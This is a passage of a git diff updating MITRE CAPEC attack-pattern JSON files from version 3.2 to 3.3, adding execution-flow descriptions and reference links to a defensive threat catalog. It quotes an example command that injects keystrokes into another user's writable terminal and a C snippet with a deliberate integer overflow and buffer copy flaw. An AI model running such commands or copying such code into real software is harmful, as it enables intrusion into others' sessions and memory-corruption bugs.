    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe entry points to locate vulnerabilities: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various UTF-8 encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Try to use UTF-8 encoding of content in Scripts in order to bypass validation routines.
    Try to use UTF-8 encoding of content in HTML in order to bypass validation routines.
    Try to use UTF-8 encoding of content in CSS in order to bypass validation routines.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The application's UTF-8 decoder accepts and interprets illegal UTF-8 characters or non-shortest format of UTF-8 encoding.", @@ -165,11 +166,11 @@ ], "x_capec_skills_required": { "Low": "An attacker can inject different representation of a filtered character in UTF-8 format.", - "Medium": "An attacker may craft subtle encoding of input data by using the knowledge that she has gathered about the target host." + "Medium": "An attacker may craft subtle encoding of input data by using the knowledge that they have gathered about the target host." }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2f50c4ba-bba9-456b-8fc3-7a551ed4c65f.json b/capec/attack-pattern/attack-pattern--2f50c4ba-bba9-456b-8fc3-7a551ed4c65f.json index cd1384344e..0ba73d0662 100644 --- a/capec/attack-pattern/attack-pattern--2f50c4ba-bba9-456b-8fc3-7a551ed4c65f.json +++ b/capec/attack-pattern/attack-pattern--2f50c4ba-bba9-456b-8fc3-7a551ed4c65f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--82b730fd-fd66-4603-8d3f-64e60c21e4c0", + "id": "bundle--b9b3d40e-608f-44d6-87d8-d836e8f14fc2", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2fb09678-092a-490d-b2da-fff20a696219.json b/capec/attack-pattern/attack-pattern--2fb09678-092a-490d-b2da-fff20a696219.json index 0e92b2f663..2600ae4cfb 100644 --- a/capec/attack-pattern/attack-pattern--2fb09678-092a-490d-b2da-fff20a696219.json +++ b/capec/attack-pattern/attack-pattern--2fb09678-092a-490d-b2da-fff20a696219.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f57c929d-3018-4e87-a2e0-9e05f18fb0f7", + "id": "bundle--5f0338f1-fdc0-4825-825b-4cea43290727", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--2fb2b2b8-b7de-45a2-aadb-5849d12fda8f.json b/capec/attack-pattern/attack-pattern--2fb2b2b8-b7de-45a2-aadb-5849d12fda8f.json index ff0c49c980..da75a54449 100644 --- a/capec/attack-pattern/attack-pattern--2fb2b2b8-b7de-45a2-aadb-5849d12fda8f.json +++ b/capec/attack-pattern/attack-pattern--2fb2b2b8-b7de-45a2-aadb-5849d12fda8f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ff6dbe02-7b45-4579-9a89-0e357734184a", + "id": "bundle--20ef1568-117c-413f-b9d4-bc1363ec954f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--2fb2b2b8-b7de-45a2-aadb-5849d12fda8f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Command Injection", "description": "An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.", "external_references": [ @@ -44,7 +44,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1.json b/capec/attack-pattern/attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1.json index 171d5ecfb9..9958b85daa 100644 --- a/capec/attack-pattern/attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1.json +++ b/capec/attack-pattern/attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--216000b9-bd2a-431e-bfa5-0768a9ab7851", + "id": "bundle--f95d2de5-7de3-487f-861b-5cc137296f77", "spec_version": "2.0", "objects": [ { @@ -62,6 +62,7 @@ "\n To:From:Headerdef: whatever\n ", "\n Meta-characters are among the most valuable tools attackers have to deceive users into taking some action on their behalf. E-mail is perhaps the most efficient and cost effective attack distribution tool available, this has led to the phishing pandemic.\n Meta-characters like \\w \\s \\d ^ can allow the attacker to escape out of the expected behavior to execute additional commands. Escaping out the process (such as email client) lets the attacker run arbitrary code in the user's process.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. Identify and characterize metacharacter-processing vulnerabilities in email headers: An attacker creates emails with headers containing various metacharacter-based malicious payloads in order to determine whether the target application processes the malicious content and in what manner it does so.

    2. Techniques
    Use an automated tool (fuzzer) to create malicious emails headers containing metacharacter-based payloads.
    Manually tampering email headers to inject malicious metacharacter-based payload content in them.

Exploit

  1. An attacker leverages vulnerabilities identified during the Experiment Phase to inject malicious email headers and cause the targeted email application to exhibit behavior outside of its expected constraints.

    2. Techniques
    Send emails with specifically-constructed, metacharacter-based malicious payloads in the email headers to targeted systems running email processing applications identified as vulnerable during the Experiment Phase.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "This attack targets most widely deployed feature rich email applications, including web based email programs." @@ -71,7 +72,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--309b5fec-8a59-4d28-8a1c-427d289aad93.json b/capec/attack-pattern/attack-pattern--309b5fec-8a59-4d28-8a1c-427d289aad93.json index fb7253e1db..0e3e3c4447 100644 --- a/capec/attack-pattern/attack-pattern--309b5fec-8a59-4d28-8a1c-427d289aad93.json +++ b/capec/attack-pattern/attack-pattern--309b5fec-8a59-4d28-8a1c-427d289aad93.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--81a3386e-3e75-477f-9daa-cb136784a334", + "id": "bundle--3dcbbebe-5a62-4d38-a8df-2f68f3eba8a5", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--30b081a0-bf20-432b-8211-a340bbd04731.json b/capec/attack-pattern/attack-pattern--30b081a0-bf20-432b-8211-a340bbd04731.json index 4f16503d5c..04775035dd 100644 --- a/capec/attack-pattern/attack-pattern--30b081a0-bf20-432b-8211-a340bbd04731.json +++ b/capec/attack-pattern/attack-pattern--30b081a0-bf20-432b-8211-a340bbd04731.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4ea77d7a-0b3b-4c41-a1b2-16904e12147c", + "id": "bundle--354fa66d-cc7e-48be-a09c-892e83a49fcc", "spec_version": "2.0", "objects": [ { @@ -60,7 +60,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3129bca1-91e3-4ec0-a117-557c84d2a92c.json b/capec/attack-pattern/attack-pattern--3129bca1-91e3-4ec0-a117-557c84d2a92c.json index 5c11b00f00..745c5872e9 100644 --- a/capec/attack-pattern/attack-pattern--3129bca1-91e3-4ec0-a117-557c84d2a92c.json +++ b/capec/attack-pattern/attack-pattern--3129bca1-91e3-4ec0-a117-557c84d2a92c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6522cd91-579f-4017-bd00-c10cf7f95456", + "id": "bundle--04607f5f-a2fc-4968-8c0e-7b05ef8ce4e6", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4.json b/capec/attack-pattern/attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4.json index 0446b5b116..2b1f357a09 100644 --- a/capec/attack-pattern/attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4.json +++ b/capec/attack-pattern/attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--faa08ec4-a4c0-4a21-8cc3-c45ca4749694", + "id": "bundle--f5d93cf2-7817-431a-b83c-66849d39e057", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--3147f1c9-3043-40ca-ad42-c1be938820a4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Sniff Application Code", "description": "An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.", "external_references": [ @@ -63,9 +63,10 @@ "Attacker receives notification that the computer/OS/application has an available update, loads a network sniffing tool, and extracts update data from subsequent communication. The attacker then proceeds to reverse engineer the captured stream to gain sensitive information, such as encryption keys, validation algorithms, applications patches, etc..", "Plain code, such as applets or JavaScript, is also part of the executing application. If such code is transmitted unprotected, the attacker can capture the code and possibly reverse engineer it to gain sensitive information, such as encryption keys, validation algorithms and such." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. \n Set up a sniffer\n The attacker sets up a sniffer in the path between the server and the client and watches the traffic.\n

    2. Techniques
    The attacker sets up a sniffer in the path between the server and the client.

Exploit

  1. \n Capturing Application Code Bound During Patching\n Attacker knows that the computer/OS/application can request new applications to install, or it periodically checks for an available update. The attacker loads the sniffer set up during Explore phase, and extracts the application code from subsequent communication. The attacker then proceeds to reverse engineer the captured code.\n

    2. Techniques
    Attacker loads the sniffer to capture the application code bound during a dynamic update.
    The attacker proceeds to reverse engineer the captured code.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ - "The attacker must have the ability to place himself in the communication path between the client and server.", + "The attacker must have the ability to place themself in the communication path between the client and server.", "The targeted application must receive some application code from the server; for example, dynamic updates, patches, applets or scripts.", "The attacker must be able to employ a sniffer on the network without being detected." ], @@ -77,7 +78,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3190ba0e-d2d1-4007-985d-5f3aa517aaed.json b/capec/attack-pattern/attack-pattern--3190ba0e-d2d1-4007-985d-5f3aa517aaed.json index 19581f4c12..5268e10540 100644 --- a/capec/attack-pattern/attack-pattern--3190ba0e-d2d1-4007-985d-5f3aa517aaed.json +++ b/capec/attack-pattern/attack-pattern--3190ba0e-d2d1-4007-985d-5f3aa517aaed.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d63240f7-32fe-4d59-841c-07488e627a6e", + "id": "bundle--a1b8774f-d1de-4220-9da3-db95b5d82239", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ "x_capec_likelihood_of_attack": "Medium", "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--31b90554-68d8-4950-ac45-89c915a30716.json b/capec/attack-pattern/attack-pattern--31b90554-68d8-4950-ac45-89c915a30716.json index 2376abd816..f35e336964 100644 --- a/capec/attack-pattern/attack-pattern--31b90554-68d8-4950-ac45-89c915a30716.json +++ b/capec/attack-pattern/attack-pattern--31b90554-68d8-4950-ac45-89c915a30716.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--83b4810c-d52d-4672-9289-1c118be2fcce", + "id": "bundle--60af208c-ac83-40a4-8ada-e2235077f94a", "spec_version": "2.0", "objects": [ { @@ -8,22 +8,41 @@ "id": "attack-pattern--31b90554-68d8-4950-ac45-89c915a30716", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Artificially Inflate File Sizes", - "description": "Security tools often inspect executables to determine if they are malicious. Adversaries may add data to executables to increase the executable size beyond what security tools are capable of handling. Adding data to an executable also changes the file's hash, frustrating security tools that look for known bad files by their hash.", + "description": "\n An adversary modifies file contents by adding data to files for several reasons. Many different attacks could \u201cfollow\u201d this pattern resulting in numerous outcomes. Adding data to a file could also result in a Denial of Service condition for devices with limited storage capacity.\n ", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/572.html", "external_id": "CAPEC-572" + }, + { + "source_name": "ATTACK", + "description": "Obfuscated Files or Information:Binary Padding", + "url": "https://attack.mitre.org/wiki/Technique/T1027/001", + "external_id": "T1027.001" } ], "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "x_capec_abstraction": "Standard", + "x_capec_consequences": { + "Availability": [ + "Resource Consumption (Denial of Service)" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_example_instances": [ + "\n An adversary could potentially increase file sizes on devices containing limited storage resources, such as SCADA or IOT devices, resulting in denial of service conditions.\n " + ], + "x_capec_likelihood_of_attack": "High", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_typical_severity": "Medium", + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--323ed142-7793-413d-838f-72626caf58da.json b/capec/attack-pattern/attack-pattern--323ed142-7793-413d-838f-72626caf58da.json index 3350cd84fa..3c3de0e09a 100644 --- a/capec/attack-pattern/attack-pattern--323ed142-7793-413d-838f-72626caf58da.json +++ b/capec/attack-pattern/attack-pattern--323ed142-7793-413d-838f-72626caf58da.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5adfa167-93c7-4c6b-9e48-6b2475871c45", + "id": "bundle--b5145664-3803-470f-bf5c-df3441459715", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--323ed142-7793-413d-838f-72626caf58da", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-09-30T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "File Discovery", "description": "An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "File and Directory Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1083", + "external_id": "T1083" } ], "object_marking_refs": [ @@ -41,7 +47,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Very Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2.json b/capec/attack-pattern/attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2.json index 450f38c2b5..cd18cc06cc 100644 --- a/capec/attack-pattern/attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2.json +++ b/capec/attack-pattern/attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a7df4f76-7e86-4385-b5b5-88d5b67b1b51", + "id": "bundle--82105ea5-6ac8-4e1f-8d96-e23b1444e270", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Manipulating Writeable Terminal Devices", "description": "This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.", "external_references": [ @@ -52,8 +52,9 @@ ] }, "x_capec_example_instances": [ - "\n \"Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being over-privileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals.\n \"$echo -e \"\\033[30m\\033\\132\" > /dev/ttyXX\n where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid.\" [R.40.1][REF-2]\n If the victim continues to hit \"enter\" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.\n " + "\n \"Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being over-privileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals.\n \"$echo -e \"\\033[30m\\033\\132\" > /dev/ttyXX\n where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid.\" [REF-1]\n If the victim continues to hit \"enter\" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify attacker-writable terminals: Determine if users TTYs are writable by the attacker.

    2. Techniques
    Determine the permissions for the TTYs found on the system. Any that allow user write to the TTY may be vulnerable.
    Attempt to write to other user TTYs. This approach could leave a trail or alert a user.

Exploit

  1. Execute malicious commands: Using one or more vulnerable TTY, execute commands to achieve various impacts.

    2. Techniques
    Commands that allow reading or writing end user files can be executed.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "User terminals must have a permissive access control such as world writeable that allows normal users to control data on other user's terminals." @@ -66,7 +67,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--33370ee8-a290-42cc-b85d-5fd13f1f6fed.json b/capec/attack-pattern/attack-pattern--33370ee8-a290-42cc-b85d-5fd13f1f6fed.json index 9ae02aa714..f9724f28a3 100644 --- a/capec/attack-pattern/attack-pattern--33370ee8-a290-42cc-b85d-5fd13f1f6fed.json +++ b/capec/attack-pattern/attack-pattern--33370ee8-a290-42cc-b85d-5fd13f1f6fed.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--359332ba-354e-4d6e-a960-9b52956b9cd6", + "id": "bundle--45cd032c-f8a1-4e82-8f03-be67e67a2743", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--33d398f3-dd5f-4e9f-ba4b-5ed8f189a78d.json b/capec/attack-pattern/attack-pattern--33d398f3-dd5f-4e9f-ba4b-5ed8f189a78d.json index 3e3005278a..841c8de007 100644 --- a/capec/attack-pattern/attack-pattern--33d398f3-dd5f-4e9f-ba4b-5ed8f189a78d.json +++ b/capec/attack-pattern/attack-pattern--33d398f3-dd5f-4e9f-ba4b-5ed8f189a78d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--79c19b38-ec89-4271-9d05-c3e263e258ae", + "id": "bundle--429edef1-2b0d-4165-a45b-3a0a3e265ada", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--346d34f3-13e5-4d95-8e96-4b381e76e132.json b/capec/attack-pattern/attack-pattern--346d34f3-13e5-4d95-8e96-4b381e76e132.json index a1fd99876c..66584a9cfc 100644 --- a/capec/attack-pattern/attack-pattern--346d34f3-13e5-4d95-8e96-4b381e76e132.json +++ b/capec/attack-pattern/attack-pattern--346d34f3-13e5-4d95-8e96-4b381e76e132.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fa745eac-1437-4b6b-ace2-a539e808e70e", + "id": "bundle--85d384e0-e91d-40c8-a6f8-2520ede9acaa", "spec_version": "2.0", "objects": [ { @@ -48,7 +48,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf.json b/capec/attack-pattern/attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf.json index fd549615db..adc5455097 100644 --- a/capec/attack-pattern/attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf.json +++ b/capec/attack-pattern/attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a601bf32-b573-4874-a286-49d6258d3213", + "id": "bundle--49854379-3576-43ee-86d2-6b828fbd3e4a", "spec_version": "2.0", "objects": [ { @@ -66,7 +66,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--35bde6ec-0a19-462c-92b4-9c481dc4986e.json b/capec/attack-pattern/attack-pattern--35bde6ec-0a19-462c-92b4-9c481dc4986e.json index 5c4c1722ff..2a65458e32 100644 --- a/capec/attack-pattern/attack-pattern--35bde6ec-0a19-462c-92b4-9c481dc4986e.json +++ b/capec/attack-pattern/attack-pattern--35bde6ec-0a19-462c-92b4-9c481dc4986e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--214f3e8f-6ab5-45b3-8b65-b2604a3ab5b7", + "id": "bundle--254121f6-5d04-4453-acec-a1b476434e0f", "spec_version": "2.0", "objects": [ { @@ -46,7 +46,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6.json b/capec/attack-pattern/attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6.json index 19bfcc4d4a..d8683c8839 100644 --- a/capec/attack-pattern/attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6.json +++ b/capec/attack-pattern/attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c2a68d78-c36b-4878-895d-ecb86ace0e89", + "id": "bundle--6c033b99-4db8-4408-81cb-0b435f16cba4", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--369d69a3-fb4a-49ac-8999-9b4ecfbf74c6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Forced Integer Overflow", "description": "This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.", "external_references": [ @@ -102,8 +102,9 @@ }, "x_capec_example_instances": [ "Integer overflow in the ProcAuWriteElement function in server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN 237 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large max_samples value. See also: CVE-2007-1544", - "\n The following code illustrates an integer overflow. The declaration of total integer as \"unsigned short int\" assumes that the length of the first and second arguments fits in such an integer.\n include include include \n int main (int argc, char *const *argv){if (argc !=3){printf(\"Usage: prog_name \\n\");exit(-1);\n }unsigned short int total;total = strlen(argv[1])+strlen(argv[2])+1;char * buff = (char *)malloc(total);strcpy(buff, argv[1]);strcpy(buff, argv[2]);\n }\n [R.92.4], [R.92.5]\n " + "\n The following code illustrates an integer overflow. The declaration of total integer as \"unsigned short int\" assumes that the length of the first and second arguments fits in such an integer.\n include include include \n int main (int argc, char *const *argv){if (argc !=3){printf(\"Usage: prog_name \\n\");exit(-1);\n }unsigned short int total;total = strlen(argv[1])+strlen(argv[2])+1;char * buff = (char *)malloc(total);strcpy(buff, argv[1]);strcpy(buff, argv[2]);\n }\n [REF-547], [REF-548]\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The first step is exploratory meaning the attacker looks for an integer variable that they can control.

Experiment

  1. The attacker finds an integer variable that they can write into or manipulate and try to get the value of the integer out of the possible range.

Exploit

  1. The integer variable is forced to have a value out of range which set its final value to an unexpected value.

  2. The target host acts on the data and unexpected behavior may happen.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The attacker can manipulate the value of an integer variable utilized by the target host.", @@ -116,7 +117,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--36a2f844-0c20-41d7-9a10-66f1e4c43db8.json b/capec/attack-pattern/attack-pattern--36a2f844-0c20-41d7-9a10-66f1e4c43db8.json index 6fc2dc357e..728e24bc09 100644 --- a/capec/attack-pattern/attack-pattern--36a2f844-0c20-41d7-9a10-66f1e4c43db8.json +++ b/capec/attack-pattern/attack-pattern--36a2f844-0c20-41d7-9a10-66f1e4c43db8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0dceb4fe-ac3b-4d1a-89fd-d31e61e68528", + "id": "bundle--c7b0674d-4e73-42e9-920e-a66dee634ebf", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--36a2f844-0c20-41d7-9a10-66f1e4c43db8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Forced Deadlock", "description": "The adversary triggers and exploits a deadlock condition in the target software to cause a denial of service. A deadlock can occur when two or more competing actions are waiting for each other to finish, and thus neither ever does. Deadlock conditions can be difficult to detect.", "external_references": [ @@ -66,9 +66,10 @@ "x_capec_example_instances": [ "An example of a deadlock which may occur in database products is the following. Client applications using the database may require exclusive access to a table, and in order to gain exclusive access they ask for a lock. If one client application holds a lock on a table and attempts to obtain the lock on a second table that is already held by a second client application, this may lead to deadlock if the second application then attempts to obtain the lock that is held by the first application (Source: Wikipedia, http://en.wikipedia.org/wiki/Deadlock)" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The adversary initiates an exploratory phase to get familiar with the system.

  2. The adversary triggers a first action (such as holding a resource) and initiates a second action which will wait for the first one to finish.

  3. If the target program has a deadlock condition, the program waits indefinitely resulting in a denial of service.

", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ - "The target host has a deadlock condition. There are four conditions for a deadlock to occur, known as the Coffman conditions. [R.25.3][REF-6]", + "The target host has a deadlock condition. There are four conditions for a deadlock to occur, known as the Coffman conditions. [REF-101]", "The target host exposes an API to the user." ], "x_capec_skills_required": { @@ -76,7 +77,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62.json b/capec/attack-pattern/attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62.json index 8f6bed9eee..f73a8654b7 100644 --- a/capec/attack-pattern/attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62.json +++ b/capec/attack-pattern/attack-pattern--36fd3642-e601-4392-b25b-48df2fdecf62.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": 